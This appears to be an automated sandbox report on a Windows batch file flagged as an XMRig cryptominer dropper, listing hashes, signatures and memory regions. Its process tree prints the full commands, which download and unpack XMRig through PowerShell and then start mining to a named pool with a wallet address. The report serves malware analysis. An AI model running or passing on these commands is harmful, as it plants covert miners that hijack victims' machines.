Analysis

  • max time kernel
    1820s
  • max time network
    1820s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    31-12-2023 14:43

General

  • Target

    tesy - Copy (5).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 3 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2476
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5040
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5052
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:804

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    b1dbd0f108f9f4839696e457a25437a1

    SHA1

    3f4ae1f12a1a919b93a422ec2845c409f6221784

    SHA256

    23bb1ce7eeeed9f6ac5f0420173456de31d0090bc17ea0bfcad28a200f20676d

    SHA512

    7bb080aad11f657c13cb829545d3233ce5d947467b05691e127128f6746497b1fecda399f1304276159732c180a2ad75f79e1a9ea6fe2b3482c296f97822caf0

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rbg2qb3j.3um.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    425KB

    MD5

    d326dc42ccd456c8c8e6fb93c3ed908c

    SHA1

    cd2a9c81d30f11564278d52b5bbfb95e2071d32d

    SHA256

    3ccfea364b9dc81902aea5cf7f82ab0d4f8c63c979b81139170a03d7abd67dc0

    SHA512

    46d8ba408c98d7129075fdd6c9d5713fb18c0bcae8c223a44c2ee48a6ea078e97287c1681a06860f6fa2b71a98bf633c1eb2a488afdd88a2a528eb6d7f58fb8d

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    422KB

    MD5

    de1399eca5b2170c7d89be905af84347

    SHA1

    35821e2448e0d1c4772c43761581a64fab4ae4d6

    SHA256

    708962cabd741c32e6012380ce1cb1ce3b4396659bd8eb667b1ed3c7b1f20727

    SHA512

    c045fddc6e79abdfc816c27bc92216d3ba7d0bc4b338d0263bbf9a9f695247b9ea3fc7c78cfc8fabff956e71b0399ed59eebb02c12a5a779ea90b54b3e75aac5

  • memory/804-144-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-129-0x000001A49CEF0000-0x000001A49CF10000-memory.dmp

    Filesize

    128KB

  • memory/804-188-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-187-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-186-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-185-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-184-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-183-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-182-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-181-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-180-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-179-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-178-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-177-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-176-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-175-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-174-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-147-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-121-0x000001A49C860000-0x000001A49C8A0000-memory.dmp

    Filesize

    256KB

  • memory/804-122-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-123-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-124-0x000001A49CCC0000-0x000001A49CCE0000-memory.dmp

    Filesize

    128KB

  • memory/804-125-0x000001A49CEF0000-0x000001A49CF10000-memory.dmp

    Filesize

    128KB

  • memory/804-126-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-127-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-128-0x000001A49CCC0000-0x000001A49CCE0000-memory.dmp

    Filesize

    128KB

  • memory/804-146-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-130-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-131-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-132-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-133-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-134-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-135-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-136-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-137-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-138-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-139-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-140-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-141-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-142-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-143-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-173-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-155-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-172-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-120-0x000001A408B00000-0x000001A408B20000-memory.dmp

    Filesize

    128KB

  • memory/804-148-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-149-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-150-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-151-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-152-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-153-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-154-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-145-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-156-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-157-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-158-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-159-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-160-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-161-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-162-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-163-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-164-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-165-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-166-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-167-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-168-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-169-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-170-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/804-171-0x00007FF6DE8A0000-0x00007FF6DF3A3000-memory.dmp

    Filesize

    11.0MB

  • memory/5040-27-0x000001FBCE880000-0x000001FBCE890000-memory.dmp

    Filesize

    64KB

  • memory/5040-34-0x00007FFBE90F0000-0x00007FFBE9ADC000-memory.dmp

    Filesize

    9.9MB

  • memory/5040-7-0x000001FBCE880000-0x000001FBCE890000-memory.dmp

    Filesize

    64KB

  • memory/5040-9-0x000001FBCE880000-0x000001FBCE890000-memory.dmp

    Filesize

    64KB

  • memory/5040-5-0x00007FFBE90F0000-0x00007FFBE9ADC000-memory.dmp

    Filesize

    9.9MB

  • memory/5040-10-0x000001FBCEBF0000-0x000001FBCEC66000-memory.dmp

    Filesize

    472KB

  • memory/5040-25-0x000001FBCE880000-0x000001FBCE890000-memory.dmp

    Filesize

    64KB

  • memory/5040-4-0x000001FBCEA40000-0x000001FBCEA62000-memory.dmp

    Filesize

    136KB

  • memory/5040-26-0x00007FFBE90F0000-0x00007FFBE9ADC000-memory.dmp

    Filesize

    9.9MB

  • memory/5040-28-0x000001FBCE880000-0x000001FBCE890000-memory.dmp

    Filesize

    64KB

  • memory/5040-29-0x000001FBCE880000-0x000001FBCE890000-memory.dmp

    Filesize

    64KB

  • memory/5052-66-0x000002325BB20000-0x000002325BB30000-memory.dmp

    Filesize

    64KB

  • memory/5052-117-0x00007FFBE90F0000-0x00007FFBE9ADC000-memory.dmp

    Filesize

    9.9MB

  • memory/5052-41-0x000002325BB20000-0x000002325BB30000-memory.dmp

    Filesize

    64KB

  • memory/5052-42-0x000002325BB20000-0x000002325BB30000-memory.dmp

    Filesize

    64KB

  • memory/5052-80-0x000002325BAF0000-0x000002325BB02000-memory.dmp

    Filesize

    72KB

  • memory/5052-93-0x000002325BAE0000-0x000002325BAEA000-memory.dmp

    Filesize

    40KB

  • memory/5052-38-0x00007FFBE90F0000-0x00007FFBE9ADC000-memory.dmp

    Filesize

    9.9MB